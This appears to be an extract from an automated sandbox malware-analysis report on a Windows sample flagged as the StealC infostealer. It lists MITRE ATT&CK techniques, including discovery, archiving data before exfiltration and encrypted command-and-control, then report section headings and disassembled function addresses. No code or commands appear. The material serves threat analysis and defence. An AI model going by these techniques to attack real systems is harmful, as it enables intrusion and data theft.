Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Windows Analysis Report
file.exe

Function 006E9860 Relevance: 82.5, APIs: 33, Strings: 14, Instructions: 212
libraryloaderCOMMON

Function 006D45C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Function 006D4880 Relevance: 33.7, APIs: 11, Strings: 8, Instructions: 479
networkstringfileCOMMON

Function 006E9C10 Relevance: 222.9, APIs: 112, Strings: 15, Instructions: 684
libraryloaderCOMMON

Function 006D6280 Relevance: 28.2, APIs: 11, Strings: 5, Instructions: 191
networkfileCOMMON

Function 006E5510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Function 006E17A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Function 006E7500 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 106
memoryCOMMON

Function 006E69F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Function 006D1220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
COMMON

Function 006E6AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Function 006D47B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Function 006E51F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON